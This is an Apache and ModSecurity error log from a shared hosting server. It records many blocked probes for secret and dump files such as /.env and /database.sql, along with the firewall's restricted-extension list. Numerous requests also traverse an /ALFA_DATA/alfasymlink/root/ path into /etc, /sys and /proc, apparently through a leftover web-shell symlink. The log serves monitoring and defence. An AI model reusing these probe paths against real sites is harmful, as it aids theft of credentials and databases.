[Sun Oct 25 05:08:05.247736 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at3G9cAclEqdWzgpj08wOQAAAAc"]
[Sun Oct 25 05:08:10.392868 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 44.217.177.142:65476] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:08:12.083252 2026] [security2:error] [pid 2800259:tid 2800259] [client 16.216.88.232:8192] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nscd.conf"] [unique_id "at3G_L2dQNaDuK1aHdokrQAAAAs"]
[Sun Oct 25 05:08:12.083835 2026] [security2:error] [pid 2800259:tid 2800259] [client 16.216.88.232:8192] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nscd.conf"] [unique_id "at3G_L2dQNaDuK1aHdokrQAAAAs"]
[Sun Oct 25 05:08:12.084211 2026] [security2:error] [pid 2800259:tid 2800259] [client 16.216.88.232:8192] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nscd.conf"] [unique_id "at3G_L2dQNaDuK1aHdokrQAAAAs"]
[Sun Oct 25 05:08:14.202227 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 44.194.134.53:56654] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:08:58.129405 2026] [core:error] [pid 2799890:tid 2799890] (13)Permission denied: [client 18.213.240.226:14893] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/device:03/physical_node/rom
[Sun Oct 25 05:09:02.140176 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 34.236.135.14:25369] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:09:10.156595 2026] [core:error] [pid 2800300:tid 2800300] (13)Permission denied: [client 54.147.182.90:37547] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/firmware_node/device:1c/subsystem/drivers/hardware_error_device/uevent
[Sun Oct 25 05:09:14.164731 2026] [ssl:error] [pid 2800080:tid 2800080] (70014)End of file found: [client 52.204.81.148:32231] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:09:18.222127 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 34.238.45.183:13605] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:09:46.140565 2026] [core:error] [pid 2800080:tid 2800080] (13)Permission denied: [client 54.225.199.17:34608] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:03.0/subsystem/drivers/virtio-pci/0000:00:04.0/driver/unbind
[Sun Oct 25 05:09:50.233974 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 54.197.178.107:50234] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:10:06.155363 2026] [ssl:error] [pid 2800301:tid 2800301] (70014)End of file found: [client 54.144.185.255:49023] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:10:10.154124 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 54.166.104.83:55257] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:10:10.266693 2026] [core:error] [pid 2800257:tid 2800257] (13)Permission denied: [client 216.244.66.250:43404] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/bin/sudoreplay
[Sun Oct 25 05:10:14.138755 2026] [ssl:error] [pid 2800080:tid 2800080] (70014)End of file found: [client 98.84.70.201:42639] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:10:18.139668 2026] [core:error] [pid 2799890:tid 2799890] (13)Permission denied: [client 98.83.178.66:33017] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/xen-platform-pci/uevent
[Sun Oct 25 05:10:26.132142 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 23.23.99.55:6969] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:10:46.279524 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 23.21.228.180:4817] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:11:01.258244 2026] [core:error] [pid 2800300:tid 2800300] (13)Permission denied: [client 85.208.96.206:12148] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-1k/reclaim_account
[Sun Oct 25 05:11:02.128622 2026] [ssl:error] [pid 2800080:tid 2800080] (70014)End of file found: [client 54.147.182.90:20432] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:11:26.132717 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 52.4.213.199:51604] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:11:42.121139 2026] [core:error] [pid 2800173:tid 2800173] (13)Permission denied: [client 34.224.132.215:1190] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/virtio-pci/module/uevent
[Sun Oct 25 05:11:50.221281 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 52.3.127.170:13649] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:11:54.170913 2026] [ssl:error] [pid 2800257:tid 2800257] (70014)End of file found: [client 52.54.15.103:47607] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:11:58.134386 2026] [security2:error] [pid 2799890:tid 2799890] [client 54.84.169.196:9430] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/memory4/node0/x86/"] [unique_id "at3H3mChNy-R5DAZy2u8SwAAAA0"]
[Sun Oct 25 05:11:58.134490 2026] [security2:error] [pid 2799890:tid 2799890] [client 54.84.169.196:9430] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/memory4/node0/x86/"] [unique_id "at3H3mChNy-R5DAZy2u8SwAAAA0"]
[Sun Oct 25 05:12:03.843330 2026] [ssl:error] [pid 2800301:tid 2800301] (70014)End of file found: [client 185.191.171.8:18066] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:12:10.180043 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 54.84.102.81:1830] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:12:14.495001 2026] [core:error] [pid 2800257:tid 2800257] (13)Permission denied: [client 185.191.171.6:55286] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/object_size
[Sun Oct 25 05:12:26.112133 2026] [core:error] [pid 2800080:tid 2800080] (13)Permission denied: [client 52.200.58.199:59884] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:03/physical_node/resource1
[Sun Oct 25 05:12:30.148679 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 44.212.232.231:50549] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:12:50.282310 2026] [security2:error] [pid 2800257:tid 2800257] [client 43.133.139.6:39370] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/betaok/vendor/phpmailer/"] [unique_id "at3IEgucbPRTB84uYmjgdgAAAAk"]
[Sun Oct 25 05:12:54.131692 2026] [ssl:error] [pid 2800301:tid 2800301] (70014)End of file found: [client 52.22.87.224:41822] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:13:02.207006 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 54.197.178.107:19231] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:13:10.305307 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 34.199.252.22:49330] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:13:14.251925 2026] [security2:error] [pid 2800301:tid 2800301] [client 107.4.170.212:32970] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at3IKm-vioONKq5GrvyF2AAAAA8"]
[Sun Oct 25 05:13:14.252342 2026] [security2:error] [pid 2800301:tid 2800301] [client 107.4.170.212:32970] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at3IKm-vioONKq5GrvyF2AAAAA8"]
[Sun Oct 25 05:13:14.270247 2026] [security2:error] [pid 2800301:tid 2800301] [client 107.4.170.212:32970] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3IKm-vioONKq5GrvyF2AAAAA8"]
[Sun Oct 25 05:13:15.801926 2026] [security2:error] [pid 2800301:tid 2800301] [client 107.4.170.212:32970] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/database.sql"] [unique_id "at3IK2-vioONKq5GrvyF2QAAAA8"]
[Sun Oct 25 05:13:15.802404 2026] [security2:error] [pid 2800301:tid 2800301] [client 107.4.170.212:32970] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/database.sql"] [unique_id "at3IK2-vioONKq5GrvyF2QAAAA8"]
[Sun Oct 25 05:13:15.803399 2026] [security2:error] [pid 2800301:tid 2800301] [client 107.4.170.212:32970] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3IK2-vioONKq5GrvyF2QAAAA8"]
[Sun Oct 25 05:13:18.151384 2026] [security2:error] [pid 2800301:tid 2800301] [client 107.4.170.212:32970] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/backup.sql"] [unique_id "at3ILm-vioONKq5GrvyF2gAAAA8"]
[Sun Oct 25 05:13:18.151738 2026] [security2:error] [pid 2800301:tid 2800301] [client 107.4.170.212:32970] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/backup.sql"] [unique_id "at3ILm-vioONKq5GrvyF2gAAAA8"]
[Sun Oct 25 05:13:18.152555 2026] [security2:error] [pid 2800301:tid 2800301] [client 107.4.170.212:32970] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3ILm-vioONKq5GrvyF2gAAAA8"]
[Sun Oct 25 05:13:18.809411 2026] [security2:error] [pid 2800301:tid 2800301] [client 107.4.170.212:32970] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/dump.sql"] [unique_id "at3ILm-vioONKq5GrvyF2wAAAA8"]
[Sun Oct 25 05:13:18.809938 2026] [security2:error] [pid 2800301:tid 2800301] [client 107.4.170.212:32970] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/dump.sql"] [unique_id "at3ILm-vioONKq5GrvyF2wAAAA8"]
[Sun Oct 25 05:13:18.810855 2026] [security2:error] [pid 2800301:tid 2800301] [client 107.4.170.212:32970] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3ILm-vioONKq5GrvyF2wAAAA8"]
[Sun Oct 25 05:13:19.948266 2026] [security2:error] [pid 2800301:tid 2800301] [client 107.4.170.212:32970] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/db.sql"] [unique_id "at3IL2-vioONKq5GrvyF3AAAAA8"]
[Sun Oct 25 05:13:19.948892 2026] [security2:error] [pid 2800301:tid 2800301] [client 107.4.170.212:32970] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/db.sql"] [unique_id "at3IL2-vioONKq5GrvyF3AAAAA8"]
[Sun Oct 25 05:13:19.950300 2026] [security2:error] [pid 2800301:tid 2800301] [client 107.4.170.212:32970] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3IL2-vioONKq5GrvyF3AAAAA8"]
[Sun Oct 25 05:13:22.218897 2026] [ssl:error] [pid 2800258:tid 2800258] (70014)End of file found: [client 3.213.213.161:18532] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:13:33.296832 2026] [core:crit] [pid 2799890:tid 2799890] (13)Permission denied: [client 66.132.172.141:5784] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 05:13:38.217955 2026] [core:error] [pid 2800258:tid 2800258] (13)Permission denied: [client 18.205.91.101:31227] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/drivers/xen-platform-pci/unbind
[Sun Oct 25 05:13:39.234766 2026] [core:crit] [pid 2800257:tid 2800257] (13)Permission denied: [client 66.132.172.141:21174] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 05:13:46.237991 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 3.89.176.255:26904] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:13:58.130244 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 23.22.105.143:51728] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:14:02.336097 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 52.3.127.170:40780] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:14:06.263653 2026] [ssl:error] [pid 2800258:tid 2800258] (70014)End of file found: [client 3.223.181.32:1265] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:14:08.004849 2026] [core:error] [pid 2800080:tid 2800080] (13)Permission denied: [client 85.208.96.195:37800] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/ata_piix/sections/__param
[Sun Oct 25 05:14:10.142705 2026] [ssl:error] [pid 2800257:tid 2800257] (70014)End of file found: [client 44.214.19.8:56069] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:14:14.194558 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 3.219.80.71:23203] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:14:18.461525 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 44.212.131.50:28356] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:14:26.194756 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 23.21.204.95:10904] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:14:44.311238 2026] [authz_core:error] [pid 2800301:tid 2800301] [client 192.236.202.11:42122] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 05:14:46.331589 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 34.233.219.155:31588] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:14:54.298627 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 3.217.82.254:27648] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:14:54.691259 2026] [security2:error] [pid 2800258:tid 2800258] [client 43.134.54.246:53070] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.curso-de-ventas.com"] [uri "/"] [unique_id "at3Ijv4bXCHo2bDK5J21XgAAAAo"]
[Sun Oct 25 05:14:54.827363 2026] [authz_core:error] [pid 2800258:tid 2800258] [client 43.134.54.246:53070] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 05:14:58.347711 2026] [ssl:error] [pid 2800080:tid 2800080] (70014)End of file found: [client 18.205.127.11:56752] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:15:06.217113 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 44.207.207.36:53086] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:15:10.269106 2026] [ssl:error] [pid 2800301:tid 2800301] (70014)End of file found: [client 52.73.142.41:43337] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:15:14.161272 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 52.204.89.12:46934] AH02013: coalesce failed to read from data bucket
